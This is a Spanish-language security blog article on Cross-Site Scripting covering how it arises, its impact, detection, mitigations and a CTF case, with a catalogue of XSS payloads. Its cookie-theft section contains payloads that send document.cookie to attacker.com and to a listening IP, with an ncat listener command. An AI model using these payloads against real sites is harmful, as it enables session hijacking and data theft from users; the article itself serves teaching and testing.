cd ~/blog

~/vulns/xss-cross-site-scripting.md

XSS (Cross-Site Scripting)

webautor: Jordy Pérez Osorio aviso legal
webXSSCross-Site-Scripting

~4 min de lectura


1. Descripción técnica

Cross-Site Scripting (XSS) aparece cuando datos controlados por un atacante alcanzan un contexto ejecutable del navegador sin la codificación o sanitización correspondiente. El límite de confianza se rompe entre la aplicación, que entrega contenido bajo su propio origen, y el navegador de la víctima, que confía en ese origen y ejecuta el contenido como parte de la página.

No toda inserción de HTML constituye XSS y un payload no es universal. El resultado depende del contexto de salida: texto HTML, atributo, URL, JavaScript, CSS o un sink del DOM. En React, dangerouslySetInnerHTML omite el escape normal y exige sanitizar cualquier HTML no confiable antes de insertarlo.

2. Impacto

El script puede actuar con los permisos que el navegador concede al origen afectado: leer datos visibles para la sesión, modificar el DOM, iniciar acciones autenticadas o capturar secretos accesibles a JavaScript. Una cookie marcada HttpOnly no puede leerse mediante document.cookie; aun así, XSS puede realizar acciones dentro de la sesión y acceder a otros datos disponibles en la página.

3. Condiciones necesarias

  • El atacante controla un valor que llega a una respuesta o a un sink del DOM.
  • La aplicación lo inserta en un contexto ejecutable sin una defensa adecuada para ese contexto.
  • Una víctima procesa el contenido. En Stored XSS, el payload queda persistido; en Reflected XSS viaja en la petición; en DOM-Based XSS la transformación vulnerable ocurre en el cliente.
  • CSP, Trusted Types u otros controles no bloquean la ruta concreta de ejecución, o existe una forma de satisfacer su política.

4. Validación y detección

La prueba debe comenzar con un marcador inofensivo y confirmar dónde aparece en el DOM. Después se usa una expresión mínima adecuada al contexto. Que una etiqueta script no se ejecute no descarta XSS: el dato puede estar en un atributo, una URL o un sink que requiera otra sintaxis. La revisión de código debe seguir fuentes no confiables hasta sinks como innerHTML, outerHTML, document.write o equivalentes de framework.

5. Payloads de referencia

Los bloques conservados a continuación son un catálogo histórico. Algunos dependen de comportamiento obsoleto o de un contexto muy específico, por lo que un fallo al ejecutarlos no confirma que el sink sea seguro. Para una validación real se debe adaptar la prueba al parser, al navegador y a la política CSP observados.

Payloads básicos para dangerouslySetInnerHTML (HTML + JS embebido)

  1. Alerta con imagen (onerror)
<img src=x onerror=alert('XSS')>
  1. Etiqueta <iframe> con src javascript: (algunos navegadores bloquean)
<iframe src="javascript:alert('XSS')"></iframe>
  1. Etiqueta <body> con evento onload (en algunos contextos funciona)
<body onload=alert('XSS')>
  1. Etiqueta <video> con evento onerror
<video src=x onerror=alert('XSS')></video>
  1. Etiqueta <audio> con evento onerror
<audio src=x onerror=alert('XSS')></audio>
  1. Etiqueta <math> con evento onload
<math href="javascript:alert('XSS')"></math>
  1. Etiqueta <details> con atributo open y evento ontoggle
<details open ontoggle=alert('XSS')></details>
  1. Etiqueta <style> con expresión CSS que dispara alertas (más raro y limitado)
<style>@import 'javascript:alert("XSS")';</style>

Payloads más complejos para evadir filtros

  1. Uso de comillas diferentes en eventos inline
<img src=x onerror="alert('XSS')">
  1. Uso de comentarios para evadir filtros
<img src=x onerror=alert(/*comment*/'XSS')>
  1. Uso de cadenas codificadas en UTF-8 para evadir filtros
<img src=x onerror=alert('\x58\x53\x53')>
  1. Uso de minúsculas y mayúsculas mezcladas
<IMG SRC=x OnErRoR=alert('XSS')>

Payloads para robar cookies (si es posible)

  1. Inyección de imagen que exfiltra la cookie mediante una URL
<img src="x" onerror="new Image().src='http://attacker.com/log?c='+document.cookie">
  1. Script para enviar la cookie con fetch (requiere etiquetas script permitidas)
<script>fetch('http://attacker.com/log?c='+document.cookie)</script>

Este método es más directo, pero suele quedar bloqueado por la CSP o por filtros de etiquetas en campos que no permiten <script>.

  1. Inyección de una imagen con evento onerror para exfiltrar cookies
<img src="x" onerror="new Image().src='http://192.168.1.5:1234/?cookie=' + document.cookie">

Con este método, el atacante recibe las cookies de la víctima en su máquina, siempre que tenga el puerto 1234 a la escucha con netcat:

ncat -nlvp 1234

Nota: si <script> no funciona (por la CSP o por React), recurre a eventos inline como onerror.

5.4. Consideraciones y límites

El payload <script>alert('XSS')</script> normalmente no funciona con dangerouslySetInnerHTML en React,  porque React no ejecuta las etiquetas <script> insertadas de esa forma.

Por eso los payloads basados en eventos inline (onerror, onload, onclick, etc.) suelen dar mejores resultados.

Además, algunos navegadores y políticas de seguridad modernas bloquean ciertos payloads, así que conviene probar varios antes de descartar la inyección.

6. Explotación documentada en 125-thefinals

En TheFinals, el campo website de los comentarios almacenaba un payload que se ejecutaba cuando un usuario privilegiado revisaba el comentario. La evidencia confirma Stored XSS: la persistencia y la visita posterior distinguen este caso de una reflexión inmediata. El writeup conserva la petición, el listener y el efecto observado.

7. Mitigación

  • Mantener el escape automático del framework y evitar sinks que interpretan HTML.
  • Aplicar codificación de salida específica para HTML, atributos, URL, JavaScript o CSS según el destino real.
  • Si el producto debe aceptar HTML, sanitizarlo con una biblioteca mantenida y una política explícita de elementos y atributos.
  • Utilizar CSP y Trusted Types como defensa adicional, no como sustituto de la codificación o sanitización.
  • Marcar cookies sensibles con HttpOnly, Secure y una política SameSite adecuada para reducir impacto.

8. Clasificación

9. Referencias

// relacionados